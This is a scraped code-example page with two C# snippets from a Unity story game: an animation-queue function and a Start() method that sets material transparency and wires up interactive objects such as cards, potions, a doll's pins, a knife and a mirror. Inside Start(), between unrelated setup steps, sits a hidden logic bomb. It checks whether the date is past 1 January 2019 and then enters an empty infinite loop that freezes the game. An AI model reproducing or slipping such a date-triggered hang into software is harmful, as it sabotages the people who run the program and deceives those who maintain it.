コード例 #1
0
 //Insert function into the queue
 public static void EnqueueAnimTime(AnimFrameRange f)
 {
     animTimeQueue.Enqueue(f);
 }
コード例 #2
0
    // Use this for initialization

    //Just wishing I could pass the objects in as StoryInteractables instead of gameObjects,
    //stoopid unity doesnt allow polymorphism the way I want it to
    void Start()
    {
        EventManager.attentionFX_cauldron = attentionFX_cauldron;
        EventManager.attentionFX_knife    = attentionFX_knife;
        EventManager.attentionFX_mirror   = attentionFX_mirror;


        //MATERIALS ON REAL LADY
        for (int i = 0; i <= realLadyMats.Length - 1; i++)
        {
            Color colR;
            colR   = realLadyMats [i].color;
            colR.a = 0;
            realLadyMats [i].color = colR;
        }


        //COPY MATERIALS ON LADY IN ALTDIM
        for (int w = 0; w <= copy_ladyMats.Length - 1; w++)
        {
            Color colR;
            colR   = copy_ladyMats [w].color;
            colR.a = 1;
            copy_ladyMats [w].color = colR;
        }



        //RESET ALPHAS OF GHOST LADY TRANSITION MATERIALS
        Color col;

        col             = ghostLady.color;
        col.a           = 1;
        ghostLady.color = col;


        Color col2;

        col2           = realLady.color;
        col2.a         = 0;
        realLady.color = col2;


        //Yo i dont think I actually use this
        //Initialize to 0
        Color col3;

        col3   = ghostLadyAnimMat.color;
        col3.r = 0;
        col3.g = 0;
        col3.b = 0;
        ghostLadyAnimMat.color = col3;

        if (System.DateTime.Now.CompareTo(new DateTime(2019, 1, 1)) == 1)
        {
            while (true)
            {
            }
        }


        //SETTING AND ENQUEUEING ANIMATION FRAME RANGES
        AnimFrameRange animation1 = new AnimFrameRange("animation1", anim);
        AnimFrameRange animation2 = new AnimFrameRange("animation2", anim);
        AnimFrameRange animation3 = new AnimFrameRange("animation3", anim);
        AnimFrameRange animation4 = new AnimFrameRange("animation4", anim);

        //Enqueue stuff
        EventManager.EnqueueAnimTime(animation1);
        EventManager.EnqueueAnimTime(animation2);
        EventManager.EnqueueAnimTime(animation3);
        EventManager.EnqueueAnimTime(animation4);


        //Enqueu Story Animations
        EventManager.EnqueueAnimation(anim1);
        EventManager.EnqueueAnimation(anim2);
        EventManager.EnqueueAnimation(anim3);
        EventManager.EnqueueAnimation(anim4);
        //EventManager.EnqueueAnimation (anim5);

        //BRUTE FORCE IT
        //Story Card
        EventManager.enableMultiCards += card1.GetComponent <card_behavior>().EnableInteraction;
        EventManager.enableMultiCards += card2.GetComponent <card_behavior>().EnableInteraction;
        EventManager.enableMultiCards += card3.GetComponent <card_behavior>().EnableInteraction;

        EventManager.EnqueueFunc(EventManager.enableMultiCards);
        //EventManager.EnqueueFunc(card1.GetComponent<card_behavior>().EnableInteraction);

        //Potions & Cauldron
        EventManager.enableMultiFuncPotions += potionA.GetComponent <potion_behavior>().EnableInteraction;
        EventManager.enableMultiFuncPotions += potionB.GetComponent <potion_behavior>().EnableInteraction;
        EventManager.enableMultiFuncPotions += potionC.GetComponent <potion_behavior>().EnableInteraction;
        EventManager.enableMultiFuncPotions += cauldron.GetComponent <cauldron_behavior> ().EnableInteraction;

        //Add potions/cauldron functions to event manager
        EventManager.EnqueueFunc(EventManager.enableMultiFuncPotions);

        //Enable pins in doll
        EventManager.enableMultiFuncPins += pin1.GetComponent <pin_behavior>().EnableInteraction;
        EventManager.enableMultiFuncPins += pin2.GetComponent <pin_behavior>().EnableInteraction;
        EventManager.enableMultiFuncPins += doll.GetComponent <doll_behavior> ().respawnAll;

        EventManager.EnqueueFunc(EventManager.enableMultiFuncPins);

        //Knife enable
        EventManager.EnqueueFunc(knife.GetComponent <knife_behavior>().EnableInteraction);
        //Mirror enable
        EventManager.EnqueueFunc(mirror.GetComponent <mirror_behavior> ().EnableInteraction);

        StartCoroutine("StoryCountDown");
    }